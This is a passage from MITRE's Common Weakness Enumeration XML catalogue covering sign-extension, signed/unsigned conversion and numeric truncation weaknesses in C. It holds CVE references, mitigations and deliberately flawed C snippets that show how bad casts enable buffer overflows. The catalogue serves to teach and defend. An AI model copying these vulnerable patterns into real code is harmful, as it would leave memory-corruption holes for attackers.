								                <Code>/* output: i=65535, s=-1, sz=4294967295 - your mileage may
									vary */</Code>
								                <Code>printf("i=%d, s=%d, sz=%u\n", i, s, sz);</Code>
								                <Code/>
								                <Code>input = GetUserInput("Enter pathname:");</Code>
								                <Code/>
								                <Code>/* strncpy interprets s as unsigned int, so it's treated as
									MAX_INT</Code>
								                <Code>(CWE-195), enabling buffer overflow (CWE-119) */</Code>
								                <Code>strncpy(path, input, s);</Code>
								                <Code>path[255] = '\0'; /* don't want CWE-170 */</Code>
								                <Code>printf("Path is: %s\n", path);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text> This code first exhibits an example of CWE-839, allowing "s" to be a
							negative number. When the negative short "s" is converted to an unsigned
							integer, it becomes an extremely large positive integer. When this
							converted integer is used by strncpy() it will lead to a buffer overflow
							(CWE-119). </Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-0234</Observed_Example_Reference>
					          <Observed_Example_Description>Sign extension error produces -1 value that is
						treated as a command separator, enabling OS command injection.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0161</Observed_Example_Reference>
					          <Observed_Example_Description>Product uses "char" type for input character. When
						char is implemented as a signed type, ASCII value 0xFF (255), a sign
						extension produces a -1 value that is treated as a program-specific
						separator value, effectively disabling a length check and leading to a
						buffer overflow. This is also a multiple interpretation
						error.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-4988</Observed_Example_Reference>
					          <Observed_Example_Description>chain: signed short width value in image processor
						is sign extended during conversion to unsigned int, which leads to integer
						overflow and heap-based buffer overflow.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-1834</Observed_Example_Reference>
					          <Observed_Example_Description>chain: signedness error allows bypass of a length
						check; later sign extension makes exploitation
						easier.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2753</Observed_Example_Reference>
					          <Observed_Example_Description>Sign extension when manipulating Pascal-style
						strings leads to integer overflow and improper memory
						copy.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>C Language Issues for Application Security</Reference_Title>
					          <Reference_Date>2008-01-25</Reference_Date>
					          <Reference_Link>http://www.informit.com/articles/article.aspx?p=686170&amp;seqNum=6</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Robert Seacord</Reference_Author>
					          <Reference_Title>Integral Security</Reference_Title>
					          <Reference_Date>2006-11-03</Reference_Date>
					          <Reference_Link>http://www.ddj.com/security/193501774</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Sign extension error</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Description, Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-05</Modification_Date>
					          <Modification_Comment>complete rewrite of the entire
						entry</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Description, Maintenance_Notes, Name, Observed_Examples,
						Potential_Mitigations, References, Relationship_Notes,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Sign Extension
						Error</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2008-11-24">Incorrect Sign
						Extension</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="195" Name="Signed to Unsigned Conversion Error" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>A signed-to-unsigned conversion error takes place when a signed
					primitive is used as an unsigned value, usually as a size
					variable.</Description_Summary>
				        <Extended_Description>
					          <Text> It is dangerous to rely on implicit casts between signed and unsigned
						numbers because the result can take on an unexpected value and violate
						assumptions made by the program. </Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>681</Relationship_Target_ID>
					          <!--Incorrect Conversion between Numeric Types-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>119</Relationship_Target_ID>
					          <!--Improper Restriction of Operations within the Bounds of a Memory Buffer-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>189</Relationship_Target_ID>
					          <!--Numeric Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>885</Relationship_Target_ID>
					          <!--SFP Cluster: Risky Values-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Conversion between signed and unsigned values can lead to a variety of
							errors, but from a security standpoint is most commonly associated with
							integer overflow and buffer overflow vulnerabilities.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-73">
					          <Intro_Text>In this example the variable amount can hold a negative value when
						it is returned. Because the function is declared to return an unsigned int,
						amount will be implicitly converted to unsigned.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>unsigned int readdata () {</Code>
							              <Block>
								                <Code>int amount = 0;</Code>
								                <Code>...</Code>
								                <Code>if (result == ERROR)</Code>
								                <Code>amount = -1;</Code>
								                <Code>...</Code>
								                <Code>return amount;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>If the error condition in the code above is met, then the return value
							of readdata() will be 4,294,967,295 on a system that uses 32-bit
							integers. </Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-74">
					          <Intro_Text>In this example, depending on the return value of
						accecssmainframe(), the variable amount can hold a negative value when it is
						returned. Because the function is declared to return an unsigned value,
						amount will be implicitly cast to an unsigned number.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>unsigned int readdata () {</Code>
							              <Block>
								                <Code>int amount = 0;</Code>
								                <Code>...</Code>
								                <Code>amount = accessmainframe();</Code>
								                <Code>...</Code>
								                <Code>return amount;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>If the return value of accessmainframe() is -1, then the return value
							of readdata() will be 4,294,967,295 on a system that uses 32-bit
							integers.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-21">
					          <Intro_Text>The following code is intended to read an incoming packet from a
						socket and extract one or more headers.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>DataPacket *packet;</Code>
							              <Code>int numHeaders;</Code>
							              <Code>PacketHeader *headers;</Code>
							              <Code/>
							              <Code>sock=AcceptSocketConnection();</Code>
							              <Code>ReadPacket(packet, sock);</Code>
							              <Code>numHeaders =packet-&gt;headers;</Code>
							              <Code/>
							              <Code>if (numHeaders &gt; 100) {</Code>
							              <Block>
								                <Code>ExitError("too many headers!");</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>headers = malloc(numHeaders * sizeof(PacketHeader);</Code>
							              <Code>ParsePacketHeaders(packet, headers);</Code>
						            </Block>
						            <Text> The code performs a check to make sure that the packet does not
							contain too many headers. However, numHeaders is defined as a signed
							int, so it could be negative. If the incoming packet specifies a value
							such as -3, then the malloc calculation will generate a negative number
							(say, -300 if each header can be a maximum of 100 bytes). When this
							result is provided to malloc(), it is first converted to a size_t type.
							This conversion then produces a large value such as 4294966996, which
							may cause malloc() to fail or to allocate an extremely large amount of
							memory (CWE-195). With the appropriate negative numbers, an attacker
							could trick malloc() into using a very small positive number, which then
							allocates a buffer that is much smaller than expected, potentially
							leading to a buffer overflow.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>This example processes user input comprised of a series of
						variable-length structures. The first 2 bytes of input dictate the size of
						the structure to be processed.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>char* processNext(char* strm) {</Code>
							              <Block>
								                <Code>char buf[512];</Code>
								                <Code>short len = *(short*) strm;</Code>
								                <Code>strm += sizeof(len);</Code>
								                <Code>if (len &lt;= 512) {</Code>
								                <Block>
									                  <Code>memcpy(buf, strm, len);</Code>
									                  <Code>process(buf);</Code>
									                  <Code>return strm + len;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>else {</Code>
								                <Block>
									                  <Code>return -1;</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The programmer has set an upper bound on the structure size: if it is
							larger than 512, the input will not be processed. The problem is that
							len is a signed short, so the check against the maximum structure length
							is done with signed values, but len is converted to an unsigned integer
							for the call to memcpy() and the negative bit will be extended to result
							in a huge value for the unsigned integer. If len is negative, then it
							will appear that the structure has an appropriate size (the if branch
							will be taken), but the amount of memory copied by memcpy() will be
							quite large, and the attacker will be able to overflow the stack with
							data in strm. </Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-4268</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: integer signedness passes signed
						comparison, leads to heap overflow</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 6, "Type Conversions", Page 223.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Signed to unsigned conversion error</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Description, Other_Notes,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, References, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="196" Name="Unsigned to Signed Conversion Error" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>An unsigned-to-signed conversion error takes place when a large
					unsigned primitive is used as a signed value.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>681</Relationship_Target_ID>
					          <!--Incorrect Conversion between Numeric Types-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanAlsoBe</Relationship_Nature>
					          <Relationship_Target_ID>124</Relationship_Target_ID>
					          <!--Buffer Underwrite ('Buffer Underflow')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanAlsoBe</Relationship_Nature>
					          <Relationship_Target_ID>120</Relationship_Target_ID>
					          <!--Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>885</Relationship_Target_ID>
					          <!--SFP Cluster: Risky Values-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>Often, functions will return negative values to indicate a failure. In the
						case of functions that return values which are meant to be used as sizes,
						negative return values can have unexpected results. If these values are
						passed to the standard memory copy or allocation functions, they will
						implicitly cast the negative error-indicating value to a large unsigned
						value. In the case of allocation, this may not be an issue; however, in the
						case of memory and string copy functions, this can lead to a buffer overflow
						condition which may be exploitable. Also, if the variables in question are
						used as indexes into a buffer, it may result in a buffer underflow
						condition.</Text>
					          <Text>Although less frequent an issue than signed-to-unsigned casting,
						unsigned-to-signed casting can be the perfect precursor to dangerous buffer
						underwrite conditions that allow attackers to move down the stack where they
						otherwise might not have access in a normal buffer overflow condition.
						Buffer underwrites occur frequently when large unsigned values are cast to
						signed values, and then used as indexes into a buffer or for pointer
						arithmetic.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Incorrect sign conversions generally lead to undefined behavior, and
							therefore crashes.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If a poor cast lead to a buffer overflow or similar condition, data
							integrity may be affected.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Improper signed-to-unsigned conversions without proper checking can
							sometimes trigger buffer overflows which can be used to execute
							arbitrary code. This is usually outside the scope of a program's
							implicit security policy.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Choose a language which is not subject to
							these casting flaws.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Design object accessor functions to implicitly check values for valid
							sizes. Ensure that all functions which will be used as a size are
							checked previous to use as a size. If the language permits, throw
							exceptions rather than using in-band errors.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Error check the return values of all functions. Be aware of implicit
							casts made, and use unsigned variables for sizes if at all
							possible.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the following example, it is possible to request that memcpy move
						a much larger segment of memory than assumed:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>int returnChunkSize(void *) {</Code>
							              <Block>
								                <Comment>/* if chunk info is valid, return the size of usable
									memory,</Comment>
								                <Comment>* else, return -1 to indicate an error</Comment>
								                <Comment>*/</Comment>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>int main() {</Code>
							              <Block>
								                <Code>...</Code>
								                <Code>memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));</Code>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>If returnChunkSize() happens to encounter an error, and returns -1,
							memcpy will assume that the value is unsigned and therefore interpret it
							as MAXINT-1, therefore copying far more memory than is likely available
							in the destination buffer.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 6, "Type Conversions", Page 223.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Unsigned to signed conversion error</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>92</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="197" Name="Numeric Truncation Error" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>Truncation errors occur when a primitive is cast to a primitive
					of a smaller size and data is lost in the conversion.</Description_Summary>
				        <Extended_Description>
					          <Text>When a primitive is cast to a smaller primitive, the high order bits of
						the large value are lost in the conversion, potentially resulting in an
						unexpected value that is not equal to the original value. This value may be
						required as an index into a buffer, a loop iterator, or simply necessary
						state data. In any case, the value cannot be trusted and the system will be
						in an undefined state. While this method may be employed viably to isolate
						the low bits of a value, this usage is rare, and truncation usually implies
						that an implementation error has occurred.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>681</Relationship_Target_ID>
					          <!--Incorrect Conversion between Numeric Types-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanAlsoBe</Relationship_Nature>
					          <Relationship_Target_ID>195</Relationship_Target_ID>
					          <!--Signed to Unsigned Conversion Error-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanAlsoBe</Relationship_Nature>
					          <Relationship_Target_ID>196</Relationship_Target_ID>
					          <!--Unsigned to Signed Conversion Error-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>CanAlsoBe</Relationship_Nature>
					          <Relationship_Target_ID>192</Relationship_Target_ID>
					          <!--Integer Coercion Error-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanAlsoBe</Relationship_Nature>
					          <Relationship_Target_ID>194</Relationship_Target_ID>
					          <!--Unexpected Sign Extension-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>738</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 04 - Integers (INT)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>848</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 03 - Numeric Types and Operations (NUM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>872</Relationship_Target_ID>
